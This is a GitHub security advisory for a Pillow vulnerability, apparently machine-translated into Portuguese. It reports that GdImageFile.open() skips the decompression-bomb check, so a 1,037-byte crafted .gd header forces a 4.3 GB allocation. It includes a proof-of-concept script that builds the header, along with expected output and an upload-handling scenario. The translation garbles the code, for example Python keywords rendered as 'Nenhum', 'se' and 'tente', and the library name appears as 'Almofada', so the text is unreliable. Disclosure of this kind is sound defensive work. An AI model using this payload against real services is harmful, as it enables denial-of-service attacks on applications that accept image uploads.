`PIL/GdImageFile.py` `GdImageFile._open()` lê as dimensões da imagem do GD 2.x cabeçalho e armazena- os em `self._size` sem chamar `Image._decompression_bomb_check()`. Como o `GdImageFile` é ** não registrado com `Image.register_open()`**, ele nunca passa pelo caminho padrão de código `Image.open()' que aplica o guarda- bombas de descompressão do Almofada. O plugin expõe o seu próprio ponto de entrada — `PIL.GdImageFile.open( fp)` — que instantânea diretamente a classe, ignorando completamente a proteção documentada. ** Código voluntário ( 'Linhas 'PIL/GdImageFile.py' 50 – 61 ):**. ````python def _open( self) -> Nenhum: s = self.fp.read( 1037 ) se i 16 ( s) não em [ 65534, 65535 ]: aumentar SyntaxError("Não é um GD válido 2.x arquivo.gd") self._mode = "P" self._size = i 16 (s), 2 ), i 16 (s), 4 ) # ← sem assinatura 16 - bit; max 65535 cada # NÃO _descompressão_bomb_check() chama aqui ←... self.tile = [ImageFile._Tile("raw", ( 0, 0 ) + auto. tamanho, 1037 "L")] ``` Quando `load()` for subsequentemente chamado no objeto de imagem devolvido. ````python load() → load_prepare() → Image.core.new("P", ( 65535, 65535 )) # ↑ Alocação de nível C de 4,294,836,225 bytes ї 4.3 GB — nenhuma verificação da bomba Python precede este ```.
** Aritmética de dimensão:**. Campo Valor----------------------------------------- 65,535 (não assinado) 16 -bit). Altura máxima do cabeçalho. 65,535 (não assinado) 16 -bit).............................................................................................................................. 65,535 × 65,535 = ** 4,294,836,225 **.Limiar de "DescompressãoBombError` 178,956,970 ( 2 × MAX_IMAGE_PIXELS) 24 × acima da DescompressãoLimiar de erros de Bomb**.Memória em dimensões máximas. **. 4.3 GB** (modo- paleta: 1 byte/pixel). Tamanho mínimo do arquivo de ataque. ** 1,037 bytes** (apenas o cabeçalho — não é necessário nenhum dado de pixel) ** Comparação com o plug- in seguro para irmãos (`WalImageFile`):**. 'WalImageFile' está na mesma categoria — não está registrado com 'Image.open()', carregado através do seu próprio ajudante 'open()'. Foi previamente corrigido com a correção correta: '``python # PIL/WalImageFile.py line 46 — Padrão correto (já correto) self._size = i 32 (captura, 32 ), i 32 (captura, 36 ) Imagem._decompression_bomb_check( self.size) # ← presente ```.
O `GdImageFile` nunca foi atualizado para corresponder, deixando um lacuno na proteção. ## Passos para reprodução. **Proof of Concept script:** ```python #!/usr/bin/env python 3 PoC: GdImageFile descompressão bypass da bomba 1037 -byte criado arquivo.gd → 4.3 Alocação de C-heap GB, NÃO verificação de bombas """ importação io, estrutura de importação de PIL GdImageFile, Imagem.
# Construir mínimo 1037 -byte GD 2.x cabeçalho do modo paleta: # sig( 2 ) + largura( 2 ) + altura( 2 ) + true_color( 1 ) + tindex( 4 ) + cores_usadas( 2 ) + paleta( 1024 ) sig = struct.pack(">H", 0 xFFFE) # 65534 = GD 2.x magia w = struct.pack(">H", 65535 ) # largura máxima h = struct.pack(">H", 65535 ) # altura máxima true_color = b"\x 00 " # 0 = modo de paleta tindex = struct.pack(">I", 0 xFFFFFFFF) # > 255 = nenhuma cor de transparência_usada = b"\x 00 \x 00 " palette_data = b"\x 00 " * 1024 cabeçalho = sig + w + h + true_color + tindex + cores_usadas + palette_data asserte len(header) == 1037 # Confirmar: padrão Image.open() caminho BLOCKS este tamanho tente: Image._decompression_bomb_check(() 65535, 65535 )) exceto Image.DecompressionBombError como e: print( f"[BLOCKED] Image.open() caminho: {e}") # Caminho vulnerable: GdImageFile.open() não tem nenhuma verificação de bomba img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() conseguiu: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check chamado — 4.3 Alocação GB não bloqueada").
# Trigger load_prepare() → Image.core.new("P", ( 65535, 65535 )) try: img. load() exceto OSError: print( f"[INFO] load() OSError (sem dados de pixels) — mas alocação de C- heap já tentou ") print( f"\n[MATH] { 65535 * 65535:,} pixels = { 65535 * 65535 / (Imagem.MAX_IMAGE_ PIXELS* 2 ):. 1 f}× limiar de erro") print( f"[MATH] Arquivo de ataque: 1,037 bytes apenas") ``` ** Saída esperada:** ``` [BLOCKED] Image.open() caminho: Tamanho da imagem ( 4294836225 pixels) excede o limite de 178956970 pixels, pode ser um ataque de bomba de descompressão DOS. [BYPASS] GdImageFile.open() conseguiu: size=( 65535, 65535 ), mode=P Sem _descompressão_bomb_check chamado — 4.3 Alocação GB não bloqueada [INFO] load() OSError (sem dados de pixels) — mas alocação C-heap já tentou.
[MATH] 4,294,836,225 pixels = 24.0 × limiar de erro [MATH] Arquivo de ataque: 1,037 bytes apenas ``` **Verificado ao vivo no Travesseiro 12.2.0.**. ** Dois caminhos de ataque:** Tamanho do arquivo Efeito do caminho 1,037 bytes**. tentativas `load_prepare()` 4.3 Alocação GB C → `OSError` após pico. Persistente (dados de pixel completos) ~ 4.3 GBÏ `load()` completa, 4.3 GB fica na memória para a vida útil do objeto.
Para o caminho transitório, um 1,037 -byte arquivo é tudo o que é necessário. O atacante não precisa carregar um arquivo grande. ** Escenário real:** ```python da importação do PIL GdImageFile. # O aplicativo aceita arquivos.gd carregados pelo usuário img = GdImageFile.open(user_uploaded_file) # tem sucesso — nenhum gatilho de verificação de bombas img.load() # 4.3 Alocação de C- heap de GB ``` - **Disponibilidade:** High — um único 1,037 -byte malicioso `.gd` arquivo faz com que o processo host tente um ~ 4.3 Alocação de C- heap GB. Em sistemas com memória insuficiente, isto bloqueia o processo. Repetível — o atacante pode fazer loops para manter o servidor abaixado. - **Confidencialidade:** Nenhuma - **Integridade:** Nenhuma - **Autentificação necessária:** Não — qualquer objetivo público que aceita uploads de imagens é afetado - **Interação do usuário:** Nenhuma.
Qualquer serviço que chame `PIL.GdImageFile.open(user_file)` seguido de `.load()` (ou qualquer gatilho de carga preguiçosa) é vulnerável. Porque o ataque requer apenas um 1,037 -byte arquivo, banda de rede não é um constrangimento. Confirmado não empaquetado no ramo `python- pillow/ Pillow` `main` a partir do 2026 - 06 - 08. Registro de aconselhamento: GHSA-phj 9 - mv 4 w- 65 pm. Identificadores relacionados: CVE- 2026 - 55380.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 21: 13: 35.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 21: 13: 35.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
Software afetado e informações de versão: Almofada do pacote PyPI — ECOSISTEM: introduzido 0, corrigido 12.3.0. Classificação e evidência: identificadores de fraqueza CWE- 789. O registro contém 6 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.